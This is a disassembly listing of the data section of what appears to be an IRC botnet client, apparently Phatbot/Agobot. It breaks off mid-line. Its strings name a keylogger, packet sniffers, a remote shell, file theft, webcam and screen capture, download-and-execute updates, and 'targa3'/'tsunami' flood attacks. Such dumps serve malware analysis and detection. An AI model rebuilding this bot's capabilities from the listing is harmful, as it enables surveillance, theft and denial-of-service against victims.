DATA XREF: sub_401CC7+3ECFo unicode 0, <o>,0 aOpen_1 db 'open',0 ; DATA XREF: sub_401CC7+7B15o align 4 unk_442A18 db 2Dh ; - ; DATA XREF: sub_401CC7+7B26o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFileOpenedS db ' File opened: %s',0 align 4 unk_442A38 db 2Dh ; - ; DATA XREF: sub_401CC7:loc_4097F7o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0 ; char aServer_5[] aServer_5 db 'server',0 ; DATA XREF: sub_401CC7+3EE6o align 4 ; char aSe[] aSe db 'se',0 ; DATA XREF: sub_401CC7+3EFDo align 4 unk_442A68 db 2Dh ; - ; DATA XREF: sub_401CC7+7B06o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aServerChangedT db 'Server changed to: ',27h,'%s',27h,'.',0 align 10h ; char aDns[] aDns db 'dns',0 ; DATA XREF: sub_401CC7+3F14o ; char aDn[] aDn db 'dn',0 ; DATA XREF: sub_401CC7+3F2Bo align 4 ; char asc_442A98[] asc_442A98 db '-' ; DATA XREF: sub_401CC7+7AB3o db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aLookupSS_ db '- Lookup: %s -> %s.',0 align 4 unk_442AB8 db 2Dh ; - ; DATA XREF: sub_401CC7+7AE6o db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aLookupSS__0 db '- Lookup: %s -> %s.',0 align 4 unk_442AD8 db 2Dh ; - ; DATA XREF: sub_401CC7:loc_4097B4o db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0 align 10h ; char aKillproc[] aKillproc db 'killproc',0 ; DATA XREF: sub_401CC7+3F42o align 4 ; char aKp[] aKp db 'kp',0 ; DATA XREF: sub_401CC7+3F59o align 10h unk_442B10 db 2Dh ; - ; DATA XREF: sub_401CC7+7A75o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledS db ' Process killed: %s',0 unk_442B30 db 2Dh ; - ; DATA XREF: sub_401CC7:loc_409746o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTermin db ' Failed to terminate process: %s',0 align 10h ; char aKill[] aKill db 'kill',0 ; DATA XREF: sub_401CC7+3F70o align 4 ; char aKi[] aKi db 'ki',0 ; DATA XREF: sub_401CC7+3F87o align 4 unk_442B6C db 2Dh ; - ; DATA XREF: sub_401CC7+7A18o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledI db ' Process killed ID: %s',0 align 10h ; char asc_442B90[] asc_442B90 db '-' ; DATA XREF: sub_401CC7:loc_4096E6o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTerm_0 db ' Failed to terminate process ID: %s',0 ; char aDelete[] aDelete db 'delete',0 ; DATA XREF: sub_401CC7+3F9Eo align 4 ; char aDel[] aDel db 'del',0 ; DATA XREF: sub_401CC7+3FB5o ; char asc_442BCC[] asc_442BCC db '-' ; DATA XREF: sub_401CC7+79D6o db 3, 34h, 2 dd 656C6966h, 202D0302h, 656C6544h, 20646574h, 27732527h dd 2Eh dword_442BE8 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401CC7:loc_4096B8o ; char aGet_3[] aGet_3 db 'get',0 ; DATA XREF: sub_401CC7+3FCCo ; char aGt[] aGt db 'gt',0 ; DATA XREF: sub_401CC7+3FE3o align 4 ; char aS_34[] aS_34 db '%s',0 ; DATA XREF: sub_401CC7+78F9o align 10h ; char asc_442C00[] asc_442C00 db '-' ; DATA XREF: sub_401CC7+7951o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aSendFileSUserS db '- Send File: %s, User: %s.',0 unk_442C24 db 2Dh ; - ; DATA XREF: sub_401CC7+79C0o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_11 db '- Failed to start transfer thread, error: <%d>.',0 align 10h ; char aList[] aList db 'list',0 ; DATA XREF: sub_401CC7+3FFAo align 4 ; char aLi[] aLi db 'li',0 ; DATA XREF: sub_401CC7+4011o align 4 dword_442C6C dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah ; DATA XREF: sub_401CC7+78D6o dd 0 ; char aVisit[] aVisit db 'visit',0 ; DATA XREF: sub_401CC7+4028o align 4 ; char aV[] aV: ; DATA XREF: sub_401CC7+403Fo unicode 0, <v>,0 ; char asc_442C90[] asc_442C90 db '-' ; DATA XREF: sub_401CC7+783Ao db 3, 34h, 2 dd 69736976h, 2D030274h, 4C525520h, 7325203Ah, 2Eh ; char asc_442CA8[] asc_442CA8 db '-' ; DATA XREF: sub_401CC7+78A9o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToSta_12 db ' Failed to start connection thread, error: <%d>.',0 align 4 ; char aMirccmd[] aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401CC7+4056o ; char aMirc[] aMirc db 'mirc',0 ; DATA XREF: sub_401CC7+406Do align 4 unk_442CF8 db 2Dh ; - ; DATA XREF: sub_401CC7+77C4o db 3, 34h, 2 db 6Dh ; m db 69h, 72h, 63h db 2 db 3, 2Dh, 20h aClientNotOpen_ db 'Client not open.',0 align 4 dword_442D18 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h ; DATA XREF: sub_401CC7:loc_409492o dd 746E6573h, 2Eh ; char aCmd[] aCmd db 'cmd',0 ; DATA XREF: sub_401CC7+4084o ; char aCm[] aCm db 'cm',0 ; DATA XREF: sub_401CC7+409Bo align 4 ; char asc_442D3C[] asc_442D3C db 0Ah,0 ; DATA XREF: sub_401CC7+7753o align 10h ; char asc_442D40[] asc_442D40 db '-' ; DATA XREF: sub_401CC7+776Bo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aErrorSendingTo db '- Error sending to remote shell.',0 align 4 ; char asc_442D6C[] asc_442D6C db '-' ; DATA XREF: sub_401CC7+778Ao db 3, 34h, 2 dd 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh, 732520h ; char aReadfile[] aReadfile db 'readfile',0 ; DATA XREF: sub_401CC7+40B2o align 10h ; char aRf[] aRf db 'rf',0 ; DATA XREF: sub_401CC7+40C9o align 4 ; char aR_0[] aR_0: ; DATA XREF: sub_401CC7:loc_409385o unicode 0, <r>,0 unk_442D98 db 2Dh ; - ; DATA XREF: sub_401CC7+7720o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileComple db 'Read file complete: %s',0 align 4 unk_442DBC db 2Dh ; - ; DATA XREF: sub_401CC7+772Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileFailed db 'Read file failed: %s',0 align 10h ; char aPsniff[] aPsniff db 'psniff',0 ; DATA XREF: sub_401CC7+40E0o align 4 ; char aOn[] aOn db 'on',0 ; DATA XREF: sub_401CC7+40F5o align 4 dword_442DEC dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401CC7+4115o aAlreadyRunni_1 db '- Already running.',0 align 4 ; char asc_442E0C[] asc_442E0C db '-' ; DATA XREF: sub_401CC7+417Co db 3, 34h, 2 dd 696E7370h, 3026666h aCarnivorePacke db '- Carnivore packet sniffer active.',0 align 4 dword_442E3C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401CC7+41EBo aFailedToSta_13 db '- Failed to start sniffer thread, error: <%d>.',0 align 4 ; char aOff[] aOff db 'off',0 ; DATA XREF: sub_401CC7+41F6o dword_442E7C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401CC7+4219o aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0 align 4 dword_442EB8 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401CC7:loc_405EEAo aNoCarnivoreThr db '- No Carnivore thread found.',0 align 4 ; char aSniffer[] aSniffer db 'sniffer',0 ; DATA XREF: sub_401CC7+4230o ; char aOn_0[] aOn_0 db 'on',0 ; DATA XREF: sub_401CC7+4245o align 10h unk_442EF0 db 2Dh ; - ; DATA XREF: sub_401CC7+4265o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aAlreadyRunni_2 db '- Already running.',0 ; char asc_442F10[] asc_442F10 db '-' ; DATA XREF: sub_401CC7+42CCo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotPacketS db '- Phatbot packet sniffer active.',0 align 10h unk_442F40 db 2Dh ; - ; DATA XREF: sub_401CC7+433Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFailedToSta_14 db '- Failed to start sniffer thread, error: <%d>.',0 ; char aOff_1[] aOff_1 db 'off',0 ; DATA XREF: sub_401CC7+4346o unk_442F80 db 2Dh ; - ; DATA XREF: sub_401CC7+4369o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotSniffer db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0 unk_442FC0 db 2Dh ; - ; DATA XREF: sub_401CC7:loc_40603Ao db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aNoPhatbotSniff db '- No Phatbot sniffer thread found.',0 ; char aIdent[] aIdent db 'ident',0 ; DATA XREF: sub_401CC7+4380o align 4 ; char aOn_1[] aOn_1 db 'on',0 ; DATA XREF: sub_401CC7+4395o align 4 dword_442FFC dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401CC7+43B1o aAlreadyRunni_3 db '- Already running.',0 align 4 ; char asc_44301C[] asc_44301C db '-' ; DATA XREF: sub_401CC7+43C1o db 3, 34h, 2 dd 6E656469h, 3026474h aServerRunnin_0 db '- Server running on Port: 113.',0 align 4 dword_443048 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401CC7+440Eo aFailedToSta_15 db '- Failed to start server, error: <%d>.',0 align 4 ; char aOff_2[] aOff_2 db 'off',0 ; DATA XREF: sub_401CC7+4419o dword_443080 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401CC7+443Co aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0 align 4 dword_4430B8 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401CC7:loc_40610Do aNoThreadFound_ db '- No thread found.',0 align 4 ; char aKeylog[] aKeylog db 'keylog',0 ; DATA XREF: sub_401CC7+4453o align 10h ; char aOn_2[] aOn_2 db 'on',0 ; DATA XREF: sub_401CC7+4468o align 4 ; char aFile[] aFile db 'file',0 ; DATA XREF: sub_401CC7+4479o align 4 dword_4430EC dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401CC7+44CDo aAlreadyRunni_4 db '- Already running.',0 align 4 ; char aFile_0[] aFile_0 db 'file',0 ; DATA XREF: sub_401CC7+44E4o align 4 ; char asc_443114[] asc_443114 db '-' ; DATA XREF: sub_401CC7+4551o db 3, 34h, 2 dd 6C79656Bh, 302676Fh aKeyLoggerActiv db '- Key logger active.',0 align 4 dword_443138 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401CC7+45C0o aFailedToSta_16 db '- Failed to start logging thread, error: <%d>.',0 align 4 ; char aOff_3[] aOff_3 db 'off',0 ; DATA XREF: sub_401CC7+448Ao dword_443178 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401CC7+44ADo aKeyLoggerStopp db '- Key logger stopped. (%d thread(s) stopped.)',0 align 4 dword_4431B4 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401CC7:loc_40617Eo aNoKeyLoggerThr db '- No key logger thread found.',0 align 10h ; char aNet[] aNet db 'net',0 ; DATA XREF: sub_401CC7+45CDo ; char aStart[] aStart db 'start',0 ; DATA XREF: sub_401CC7+4624o align 4 aS_3 db '%s',0 ; DATA XREF: sub_401CC7+4646o align 10h unk_4431F0 db 2Dh ; - ; DATA XREF: sub_401CC7+4668o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListCom db '- Service list completed.',0 align 4 unk_443214 db 2Dh ; - ; DATA XREF: sub_401CC7:loc_406339o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListFai db '- Service list failed.',0 ; char aStop[] aStop db 'stop',0 ; DATA XREF: sub_401CC7+467Do align 4 aS_4 db '%s',0 ; DATA XREF: sub_401CC7+469Ao align 10h ; char aPause[] aPause db 'pause',0 ; DATA XREF: sub_401CC7+46A5o align 4 aS_5 db '%s',0 ; DATA XREF: sub_401CC7+46C2o align 4 ; char aContinue[] aContinue db 'continue',0 ; DATA XREF: sub_401CC7+46CDo align 4 aS_6 db '%s',0 ; DATA XREF: sub_401CC7+46EAo align 4 ; char aDelete_0[] aDelete_0 db 'delete',0 ; DATA XREF: sub_401CC7+46F5o align 4 aS_7 db '%s',0 ; DATA XREF: sub_401CC7+4712o align 4 ; char aShare[] aShare db 'share',0 ; DATA XREF: sub_401CC7+471Do align 10h aS_8 db '%s',0 ; DATA XREF: sub_401CC7+4749o align 4 aS_9 db '%s',0 ; DATA XREF: sub_401CC7+4767o align 4 unk_443278 db 2Dh ; - ; DATA XREF: sub_401CC7+478Ao db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListCompl db '- Share list completed.',0 align 4 unk_44329C db 2Dh ; - ; DATA XREF: sub_401CC7:loc_40645Bo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListFaile db '- Share list failed.',0 align 4 ; char aUser_0[] aUser_0 db 'user',0 ; DATA XREF: sub_401CC7+479Fo align 4 aS_10 db '%s',0 ; DATA XREF: sub_401CC7+47DBo align 4 aS_11 db '%s',0 ; DATA XREF: sub_401CC7+4808o align 4 aS_12 db '%s',0 ; DATA XREF: sub_401CC7+481Fo align 10h unk_4432D0 db 2Dh ; - ; DATA XREF: sub_401CC7+4842o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListComple db '- User list completed.',0 unk_4432F0 db 2Dh ; - ; DATA XREF: sub_401CC7:loc_406513o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListFailed db '- User list failed.',0 align 10h ; char aSend_0[] aSend_0 db 'send',0 ; DATA XREF: sub_401CC7+4857o align 4 aS_13 db '%s',0 ; DATA XREF: sub_401CC7+4884o align 4 unk_44331C db 2Dh ; - ; DATA XREF: sub_401CC7:loc_406555o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aNoMessageSpeci db '- No message specified.',0 align 10h unk_443340 db 2Dh ; - ; DATA XREF: sub_401CC7:loc_40655Fo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aCommandUnknown db '- Command unknown.',0 unk_44335C db 2Dh ; - ; DATA XREF: sub_401CC7+45F1o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0 ; char aCapture[] aCapture db 'capture',0 ; DATA XREF: sub_401CC7+48A5o ; char aCap[] aCap db 'cap',0 ; DATA XREF: sub_401CC7+48BCo ; char aScreen[] aScreen db 'screen',0 ; DATA XREF: sub_401CC7:loc_40914Bo align 4 ; char asc_4433A8[] asc_4433A8 db '-' ; DATA XREF: sub_401CC7+74BDo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aScreenCaptureS db '- Screen capture saved to: %s.',0 unk_4433D4 db 2Dh ; - ; DATA XREF: sub_401CC7:loc_409194o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCapt db '- Error while capturing screen.',0 align 4 ; char asc_443404[] asc_443404 db '-' ; DATA XREF: sub_401CC7:loc_40919Bo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aNoFilenameSpec db '- No filename specified for screen capture.',0 align 10h ; char aDrivers[] aDrivers db 'drivers',0 ; DATA XREF: sub_401CC7:loc_4091AEo ; char asc_443448[] asc_443448 db '-' ; DATA XREF: sub_401CC7+753Bo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverDSS_ db '- Driver #%d - %s - %s.',0 align 10h ; char asc_443470[] asc_443470 db '-' ; DATA XREF: sub_401CC7+7571o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverListComp db '- Driver list complete.',0 align 4 ; char aFrame[] aFrame db 'frame',0 ; DATA XREF: sub_401CC7:loc_409245o align 10h ; char asc_4434A0[] asc_4434A0 db '-' ; DATA XREF: sub_401CC7+75F4o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aWebcamCaptureS db '- Webcam capture saved to: %s.',0 unk_4434CC db 2Dh ; - ; DATA XREF: sub_401CC7:loc_4092CBo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_0 db '- Error while capturing from webcam.',0 align 10h ; char asc_443500[] asc_443500 db '-' ; DATA XREF: sub_401CC7:loc_4092D2o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_0 db '- Invalid parameters for webcam capture.',0 align 4 ; char aVideo[] aVideo db 'video',0 ; DATA XREF: sub_401CC7:loc_4092E5o align 10h unk_443540 db 2Dh ; - ; DATA XREF: sub_401CC7+76A0o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aAmateurVideoSa db '- Amateur video saved to: %s.',0 align 4 unk_44356C db 2Dh ; - ; DATA XREF: sub_401CC7:loc_409371o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_1 db '- Error while capturing amateur video from webcam.',0 unk_4435AC db 2Dh ; - ; DATA XREF: sub_401CC7:loc_40937Bo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_1 db '- Invalid parameters for amateur video capture.',0 align 4 ; char aGethost[] aGethost db 'gethost',0 ; DATA XREF: sub_401CC7+48D3o ; char aGh[] aGh db 'gh',0 ; DATA XREF: sub_401CC7+48EAo align 4 ; char aSSSS_1[] aSSSS_1 db '%s %s %s :%s',0 ; DATA XREF: sub_401CC7+73E2o align 4 ; char asc_443608[] asc_443608 db '-' ; DATA XREF: sub_401CC7+740Co db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aGethostSComman db 'Gethost: %s, Command: %s',0 align 10h ; char asc_443630[] asc_443630 db '-' ; DATA XREF: sub_401CC7+7428o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUnableToExtrac db 'Unable to extract Gethost command.',0 align 10h ; char asc_443660[] asc_443660 db '-' ; DATA XREF: sub_401CC7+746Co db 3, 34h, 2 dd 6E69616Dh, 202D0302h, 68746547h, 3A74736Fh, 2E732520h dd 0 ; char aKilllog[] aKilllog db 'killlog',0 ; DATA XREF: sub_401CC7+4913o ; char aKl[] aKl db 'kl',0 ; DATA XREF: sub_401CC7+492Ao align 4 ; char aAddalias[] aAddalias db 'addalias',0 ; DATA XREF: sub_401CC7+4941o align 4 ; char aAa[] aAa db 'aa',0 ; DATA XREF: sub_401CC7+4958o align 4 unk_443698 db 2Dh ; - ; DATA XREF: sub_401CC7+736Fo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aAliasAddedS_ db 'Alias added: %s.',0 align 4 ; char aPrivmsg_1[] aPrivmsg_1 db 'privmsg',0 ; DATA XREF: sub_401CC7+496Fo ; char aPm[] aPm db 'pm',0 ; DATA XREF: sub_401CC7+4986o align 4 unk_4436C4 db 2Dh ; - ; DATA XREF: sub_401CC7+733Do db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrivmsgSS_ db 'Privmsg: %s: %s.',0 align 4 ; char aAction[] aAction db 'action',0 ; DATA XREF: sub_401CC7+499Do align 4 ; char aA[] aA: ; DATA XREF: sub_401CC7+49B4o unicode 0, <a>,0 ; char dword_4436F0 dword_4436F0 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401CC7+72CAo unk_4436FC db 2Dh ; - ; DATA XREF: sub_401CC7+72ECo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aActionSS_ db 'Action: %s: %s.',0 ; char aCycle[] aCycle db 'cycle',0 ; DATA XREF: sub_401CC7+49CBo align 10h ; char aCy[] aCy db 'cy',0 ; DATA XREF: sub_401CC7+49E2o align 4 ; char a332_2[] a332_2 db '332',0 ; DATA XREF: sub_401CC7+722Do ; char aPartS_1[] aPartS_1 db 'PART %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+7244o align 4 ; char aJoinSS_2[] aJoinSS_2 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+7271o align 4 dword_443744 dd 234032Dh, 6E69616Dh, 202D0302h, 6C637943h, 2E65h ; DATA XREF: sub_401CC7+727Eo ; char aMode_0[] aMode_0 db 'mode',0 ; DATA XREF: sub_401CC7+49F9o align 10h ; char aM[] aM: ; DATA XREF: sub_401CC7+4A10o unicode 0, <m>,0 ; char aModeS_0[] aModeS_0 db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+720Co align 10h unk_443770 db 2Dh ; - ; DATA XREF: sub_401CC7+721Do db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aModeChangeS db 'Mode change: %s',0 ; char aC_raw[] aC_raw db 'c_raw',0 ; DATA XREF: sub_401CC7+4A27o align 4 ; char aC_r[] aC_r db 'c_r',0 ; DATA XREF: sub_401CC7+4A3Eo ; char aS_18[] aS_18 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+71C1o align 10h dword_4437A0 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h ; DATA XREF: sub_401CC7+71E3o dd 25203A29h, 73h ; char aC_mode[] aC_mode db 'c_mode',0 ; DATA XREF: sub_401CC7+4A55o align 4 ; char aC_m[] aC_m db 'c_m',0 ; DATA XREF: sub_401CC7+4A6Co ; char aModeS[] aModeS db 'MODE %s',0 ; DATA XREF: sub_401CC7+711Do ; char aS_17[] aS_17 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+7153o align 4 dword_4437D8 dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h ; DATA XREF: sub_401CC7+7175o dd 203A2973h, 7325h ; char aC_nick[] aC_nick db 'c_nick',0 ; DATA XREF: sub_401CC7+4A83o align 4 ; char aC_n[] aC_n db 'c_n',0 ; DATA XREF: sub_401CC7+4A9Ao ; char aNickS_5[] aNickS_5 db 'NICK %s',0 ; DATA XREF: sub_401CC7+7092o ; char aS_16[] aS_16 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+70C7o align 10h ; char dword_443810[] dword_443810 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh ; DATA XREF: sub_401CC7+70EBo dd 203A2973h, 7325h ; char aC_join[] aC_join db 'c_join',0 ; DATA XREF: sub_401CC7+4AB1o align 4 ; char aC_j[] aC_j db 'c_j',0 ; DATA XREF: sub_401CC7+4AC8o ; char aJoinSS_1[] aJoinSS_1 db 'JOIN %s %s',0 ; DATA XREF: sub_401CC7+704Do align 4 aS_15 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+7082o align 4 ; char aC_part[] aC_part db 'c_part',0 ; DATA XREF: sub_401CC7+4ADFo align 4 ; char aC_p[] aC_p db 'c_p',0 ; DATA XREF: sub_401CC7+4AF6o ; char aPartS_0[] aPartS_0 db 'PART %s',0 ; DATA XREF: sub_401CC7+6FE6o ; char aS_14[] aS_14 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+701Bo align 4 ; char aTarga3[] aTarga3 db 'targa3',0 ; DATA XREF: sub_401CC7+4B0Do align 10h ; char aT3[] aT3 db 't3',0 ; DATA XREF: sub_401CC7+4B24o align 4 ; char asc_443874[] asc_443874 db '-' ; DATA XREF: sub_401CC7+6F3Eo db 3, 34h, 2 dd 67726174h, 3023361h aFloodingSForSS db '- Flooding %s for %s seconds.',0 align 10h ; char asc_4438A0[] asc_4438A0 db '-' ; DATA XREF: sub_401CC7+6FA9o db 3, 34h, 2 dd 67726174h, 3023361h aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0 align 4 ; char aTsunami[] aTsunami db 'tsunami',0 ; DATA XREF: sub_401CC7+4B3Bo ; char aTsn[] aTsn db 'tsn',0 ; DATA XREF: sub_401CC7+4B52o ; char asc_4438E8[] asc_4438E8 db '-' ; DATA XREF: sub_401CC7+6E69o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0 unk_44391C db 2Dh ; - ; DATA XREF: sub_401CC7+6ED8o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aFailedToSta_17 db '- Failed to start flood thread, error: <%d>.',0 align 4 ; char aRepeat[] aRepeat db 'repeat',0 ; DATA XREF: sub_401CC7+4B69o align 10h ; char aRp[] aRp db 'rp',0 ; DATA XREF: sub_401CC7+4B80o align 4 ; char a332_1[] a332_1 db '332',0 ; DATA XREF: sub_401CC7+6D0Eo ; char aRepeat_0[] aRepeat_0 db 'repeat',0 ; DATA XREF: sub_401CC7+6D3Co align 10h ; char aSSSS_0[] aSSSS_0 db '%s %s %s :%s',0 ; DATA XREF: sub_401CC7+6D67o align 10h ; char asc_443980[] asc_443980 db '-' ; DATA XREF: sub_401CC7+6D90o db 3, 34h, 2 dd 6E69616Dh, 202D0302h, 65706552h, 203A7461h, 7325h ; char asc_443998[] asc_443998 db '-' ; DATA XREF: sub_401CC7:loc_408A8Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRepeatNotAllow db 'Repeat not allowed in command line: %s',0 align 4 ; char aDelay[] aDelay db 'delay',0 ; DATA XREF: sub_401CC7+4B97o align 4 ; char aDe[] aDe db 'de',0 ; DATA XREF: sub_401CC7+4BAEo align 4 ; char a332_0[] a332_0 db '332',0 ; DATA XREF: sub_401CC7+6C71o ; char aSSSS[] aSSSS db '%s %s %s :%s',0 ; DATA XREF: sub_401CC7+6CB4o align 4 dword_4439EC dd 234032Dh, 6E69616Dh, 202D0302h, 616C6544h, 2E79h ; DATA XREF: sub_401CC7:loc_4089BBo ; char aUpdate[] aUpdate db 'update',0 ; DATA XREF: sub_401CC7+4BC5o align 4 ; char aUp_0[] aUp_0 db 'up',0 ; DATA XREF: sub_401CC7+4BDCo align 4 ; char aSS_exe[] aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_401CC7+6B34o align 4 ; char asc_443A18[] asc_443A18 db '-' ; DATA XREF: sub_401CC7+6BDAo db 3, 34h, 2 dd 61647075h, 3026574h aDownloadingUpd db '- Downloading update from: %s.',0 align 4 dword_443A44 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401CC7+6C49o aFailedToStartD db '- Failed to start download thread, error: <%d>.',0 ; char asc_443A80[] asc_443A80 db '-' ; DATA XREF: sub_401CC7:loc_40891Ao db 3, 34h, 2 dd 61647075h, 3026574h aBotIdMustBeDif db '- Bot ID must be different than current running process.',0 align 4 ; char aExecute[] aExecute db 'execute',0 ; DATA XREF: sub_401CC7+4BF3o ; char aE[] aE: ; DATA XREF: sub_401CC7+4C0Ao unicode 0, <e>,0 unk_443AD4 db 2Dh ; - ; DATA XREF: sub_401CC7+6AC7o db 3, 34h, 2 db 65h ; e db 78h, 65h, 63h db 2 db 3, 2Dh, 20h aCouldnTExecute db 'Couldn',27h,'t execute file.',0 align 4 dword_443AF8 dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h ; DATA XREF: sub_401CC7+6AD2o dd 7325203Ah, 0 ; char aFindfile[] aFindfile db 'findfile',0 ; DATA XREF: sub_401CC7+4C21o align 10h ; char aFf[] aFf db 'ff',0 ; DATA XREF: sub_401CC7+4C38o align 4 ; char asc_443B24[] asc_443B24 db '-' ; DATA XREF: sub_401CC7+69B7o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingForFi db 'Searching for file: %s in: %s.',0 align 4 ; char asc_443B54[] asc_443B54 db '-' ; DATA XREF: sub_401CC7+6A2Do db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 